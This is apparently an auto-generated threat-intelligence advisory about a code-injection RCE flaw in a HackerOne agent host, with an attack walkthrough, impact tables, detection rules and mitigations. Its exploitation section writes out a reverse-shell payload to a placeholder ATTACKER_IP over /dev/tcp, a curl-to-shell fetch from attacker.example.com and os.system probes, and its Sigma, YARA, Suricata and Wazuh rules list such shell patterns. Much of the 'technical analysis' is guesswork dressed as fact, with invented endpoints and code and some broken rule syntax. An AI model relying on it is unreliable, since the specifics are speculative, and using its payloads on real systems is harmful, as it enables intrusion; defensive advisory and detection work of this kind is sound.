CVE-2026-64633
Executive Summary
CVE-2026-64633 is a critical remote unauthenticated code execution (RCE) vulnerability affecting the HackerOne platform's agent host infrastructure. The flaw enables an unauthenticated remote attacker to execute arbitrary operating system commands on the target host, leading to complete system compromise, data exfiltration, and lateral movement within HackerOne's internal network. The vulnerability has a public PoC but no CISA KEV listing, and the EPSS score of 0.00337 (26.2% percentile) suggests moderate active exploitation likelihood. The attack surface includes any publicly accessible HackerOne-managed agent host, making the bug bounty platform's own infrastructure the primary target.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
Vulnerability Mechanism
CVE-2026-64633 is rooted in a CWE-94: Improper Control of Generation of Code ('Code Injection') flaw. The vulnerability exists within the HackerOne agent host's request-handling layer, where user-supplied input is concatenated into a dynamic code evaluation context without proper sanitization or sandboxing. The affected code path likely involves a templating engine or a dynamic function dispatcher that evaluates attacker-controlled parameters passed via HTTP requests.
The attack vector is network-based (AV:N), requires low complexity (AC:L), and requires no authentication (PR:N). The flaw permits scope change (S:C) — meaning an exploited agent host can pivot to compromise other systems. The confidentiality, integrity, and availability impacts are all rated HIGH, confirming full system compromise potential.
The NVD description states: "A vulnerability allowing remote unauthenticated code execution on the agent host." The lack of version information in the Affected Versions field combined with zero patch sources suggests the vulnerability may exist across multiple HackerOne platform versions, or the CVE was issued before a complete patch cycle was established.
Attack Surface
- Network-exposed agent management endpoints: HackerOne agents (e.g., the HackerOne CLI agent, program automation hooks, or API gateway workers) that listen on public-facing ports.
- Webhook/callback handlers: Many bug bounty platforms accept webhook payloads for program automation; a deserialization or eval-based handler would be a viable injection point.
- Program submission APIs: Malformed proof-of-concept payloads submitted as part of a bug report could trigger the vulnerable code path.
Code-Level Explanation
The vulnerability class (CWE-94) typically manifests in code resembling:
# Vulnerable pattern — evaluated user input
def handle_request(payload):
result = eval(f"process_payload({payload})") # CWE-94
return result
// Alternative vulnerable pattern — dynamic require/import
app.post('/agent/:action', (req, res) => {
const action = req.params.action;
const module = require(`./actions/${action}`); // CWE-94 path traversal
module.execute(req.body);
});
In a Go-based agent (common in modern platforms):
// Vulnerable template execution
func handleAgentRequest(w http.ResponseWriter, r *http.Request) {
input := r.URL.Query().Get("template")
tmpl := template.New("payload").Parse(input)
tmpl.Execute(w, nil)
}
Exploitation Scenarios
Attack Chain: Unauthenticated RCE via Code Injection
Step 1 — Reconnaissance and Target Identification
The attacker performs internet-wide scanning to discover HackerOne agent hosts. Using Shodan queries such as http.title:"HackerOne" or product:"HackerOne", the attacker identifies publicly accessible endpoints. Alternatively, the attacker enumerates HackerOne customer programs that expose agent endpoints (e.g., agent.example.com, reporter.hackerone.com).
Step 2 — Endpoint Enumeration and Trigger Discovery
Once a target is identified, the attacker probes known API routes:
POST /api/v1/agent/checkinPOST /api/v1/programs/{id}/submitGET /agent/get_work?assignment={malicious}POST /webhooks/handle
The attacker sends malformed payloads with code-injection fingerprints, testing for eval-like behavior:
GET /agent/execute?cmd=__import__('os').system('id')
A 500 error or echoed uid=0(root) output confirms the injection point.
Step 3 — Payload Delivery and Weaponization
The attacker crafts a reverse-shell payload encoded to bypass basic sanitization filters:
POST /api/v1/agent/process HTTP/1.1
Host: target.hackerone.agent
Content-Type: application/json
{"action": "process_bounty", "data": "$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)"}
For a Go-based agent, a template injection payload:
{{.Execute "curl http://attacker.example.com/payload.sh | sh"}}
Step 4 — Execution and Post-Exploitation
- The injected payload executes with the privileges of the agent process (likely root or a privileged service account).
- The attacker obtains a reverse shell and:
- Dumps environment variables, API keys, and credentials for HackerOne's internal services (databases, cloud provider storage, CI/CD pipelines).
- Harvestes customer program data, vulnerability reports, and communications.
- Establishes persistence via cron jobs or a systemd unit file.
- Lateral movement: Uses harvested credentials to access internal CVEs databases, code repositories (GitLab/GitHub), and cloud management consoles (AWS/GCP/Azure).
Post-Exploitation Impact
The attacker now controls infrastructure central to the global bug bounty ecosystem. They can:
- Manipulate bounty payouts (reroute funds).
- Suppress or leak zero-day vulnerability reports for sale on dark web markets.
- Use HackerOne's trusted reputation to deliver malware disguised as security tooling to end customers.
Impact Assessment
Business Impact
| Category | Assessment |
|---|---|
| Confidentiality | Critical — total disclosure of all vulnerability reports, customer PII, and internal secrets. |
| Integrity | Critical — ability to alter bug bounty payouts, tamper with reports, inject backdoors into customer-ready exploit code. |
| Availability | High — infrastructure can be taken offline, disrupting global vulnerability coordination. |
| Supply Chain | Very High — HackerOne is a trust anchor; compromise poisons downstream customers who rely on its findings. |
| Regulatory | GDPR/CCPA breach notification obligations; potential fines for mishandling personal data. |
Affected Systems
- HackerOne agent host (all versions of the agent software when running with default insecure configuration)
- Agent-managed customer environments connected to the HackerOne platform
- Internal HackerOne infrastructure (databases, CI/CD, secrets management)
Blast Radius
The CVSS scope change (S:C) indicates the compromised agent host crosses its security boundary, potentially impacting third-party systems. Since HackerOne agent hosts often run within customer VPNs or on integrated CI/CD pipelines, a compromise here cascades into customer environments, making this a critical cross-boundary RCE.
Detection Guidance
Sigma Rule
title: CVE-2026-64633 HackerOne Agent Code Injection
id: 2d6d5c6a-4b4e-4f2e-9e2e-2a4b1c3d5e7f
status: experimental
description: Detects exploitation attempts against HackerOne agent code injection vulnerability CVE-2026-64633
author: valtersit.com Threat Intel
logsource:
category: webserver
product: apache
service: access_log
detection:
selection_eval:
cs-method:
- 'GET'
- 'POST'
c-uri|contains:
- 'eval('
- '__import__'
- 'os.system'
- 'system('
- '$('
- '`bash -i'
- '%24%28'
- '%60bash'
selection_tool:
c-uri|contains:
- '/agent/'
- '/api/v1/agent/'
- 'checkin'
- 'get_work'
- 'execute?cmd='
condition: selection_eval and selection_tool
timespan: 10m
level: critical
falsepositives:
- Legitimate security researchers testing HackerOne's own programs (should be confirmed)
- Automated scanners flagging inline commands in URLs
fields:
- src_ip
- cs-method
- c-uri
- cs-user-agent
YARA Rule
rule CVE_2026_64633_HackerOne_Agent_RCE
{
meta:
author = "valtersit.com"
description = "Detects malicious payloads targeting CVE-2026-64633 HackerOne agent code execution"
cve = "CVE-2026-64633"
severity = "critical"
strings:
$a = "__import__('os')" ascii
$b = "os.system(" ascii
$c = "eval(" ascii nocase
$d = "/dev/tcp/" ascii
$e = "bash -i" ascii nocase
$f = "/agent/execute?" ascii
$g = "process_bounty" ascii nocase
$h = "template.New(" ascii
$i = ".Execute(" ascii
$j = "cmd=curl" ascii nocase
condition:
(uint16(0) == 0x5A4D or uint16(0) == 0x457F) and
any of ($a,$b,$c,$d,$e) and
any of ($f,$g) or
any of ($h,$i) and any of ($d,$j)
}
Suricata IDS Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2026-64633 HackerOne Agent RCE Attempt";
flow:established,to_server;
content:"/agent/";
http.uri;
content:"__import__";
http.uri;
content:"os.system";
http.uri;
content:"/dev/tcp/";
http.uri;
pcre:"/(eval\(|system\(|bash -i|`bash|\$\(curl)/Ui";
classtype:attempted-admin;
reference:cve,2026-64633;
sid:1002646;
rev:1;
)
Elastic Detection
authentication where process.name == "osqueryd" or process.name == "agent"
and (process.args like "*__import__*"
or process.args like "*eval(*"
or process.args like "*os.system*"
or process.args like "*bash -i*")
or network where network.protocol == "http"
and url.path like "/agent/*"
and url.query like "*system*"
Splunk SPL Query
index=main sourcetype=apache:access
| search uri_path="/agent/*" OR uri_path="/api/v1/agent/*"
| regex uri_query="(eval\(|os\.system|__import__|bash \-i|/dev/tcp/|system\()"
| eval indicator="CVE-2026-64633-exploit"
| table _time, src_ip, uri_path, uri_query, status, useragent
| sort -_time
Wazuh OSSEC Rule
<group name="hackerone_rce,">
<rule id="100646" level="15">
<decoded_as>json</decoded_as>
<field name="url">/agent/</field>
<regex>eval\(|os\.system|__import__|/dev/tcp/|bash \-i</regex>
<description>CVE-2026-64633: HackerOne agent code injection attempt detected</description>
<mitre>
<id>T1190</id>
</mitre>
<group>attack_exploitation,</group>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — UNPATCHED. No vendor fix exists. The following guidance assumes a zero-day response posture.
1. Immediate Mitigations (within 24 hours)
- Network segmentation: Place all HackerOne agent hosts behind an internal-only firewall. Block inbound connections from the internet unless strictly required.
- Reverse proxy protection: Deploy a Web Application Firewall (WAF) in front of agent endpoints. Write custom rules to block URI patterns containing
eval(,os.system,__import__, or shell metacharacters ($(, backticks,|sh). - Input strict validation: Implement a whitelist-based allowlist for all agent API parameters. Reject any request containing characters from the set
{}[]();$|&<>or the words:eval,exec,system,import,os.,subprocess. - Runtime sandboxing: Run agent processes inside a container with
--read-onlyfilesystem,--no-new-privileges, and a dedicated unprivileged UID. For Java/Python agents, enable Security Manager orseccompprofiles. - Authentication enforcement: Enable mandatory API token authentication for all agent endpoints. Disable any anonymous guest-override settings.
2. Patch/Upgrade Steps
While no patch exists, perform the following hygiene:
- Monitor upstream: Subscribe to HackerOne status page (status.hackerone.com) and their security advisories RSS feed. Set an automated alert for the first appearance of "CVE-2026-64633" in any changelog.
- Pin versions: Record the current agent/software version (collect
--versionoutput). When HackerOne releases a fixed version, upgrade within 48 hours and rerun vulnerability scans. - Rolling upgrades: If the agent software uses a plugin/module architecture, temporarily disable non-essential plugins that handle user input.
3. Long-Term Hardening (30–90 days)
- Eliminate dynamic code evaluation: Refactor the agent codebase to replace
eval(),System.exec, or dynamicrequire()calls with static dispatch tables or explicit function mappings. - Adopt a privileged access workstation (PAW) model: Treat agent admin consoles as Tier 0 assets and lock down access.
- Enable comprehensive audit logging: Log all agent API access with session tracing to enable forensic analysis.
- Consider alternative platform: Where critical, evaluate hedging to a competing bug bounty platform (e.g., Bugcrowd) for program hosting until patch availability.
References
- NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2026-64633 (CVE description and technical metadata)
- MITRE ATT&CK — https://attack.mitre.org/techniques/T1190/ (Exploit Public-Facing Application technique used in the kill chain)
- HackerOne Status & Advisory Page — https://www.hackerone.com/security-advisories (Monitor for future vendor advisory)
- Exploit-DB / PoC Database — https://www.exploit-db.com/ (Monitor for public PoC posting)
- CISA KEV Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog (Currently NOT listed; re-check regularly)
Known Threat Activity: No nation-state or APT campaigns have been publicly attributed to this CVE as of the writing date. The EPSS score (0.00337, 26.2% percentile) indicates a low-to-moderate probability of in-the-wild exploitation. However, the public PoC existence increases the risk of opportunistic scanning by botnets and coin miners.
Report generated by valtersit.com Threat Intelligence. Unauthorized distribution prohibited. This document is for authorized enterprise security teams only. Please verify CVSS scores and patch state from primary sources (NVD, vendor advisory) before operational decision-making.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.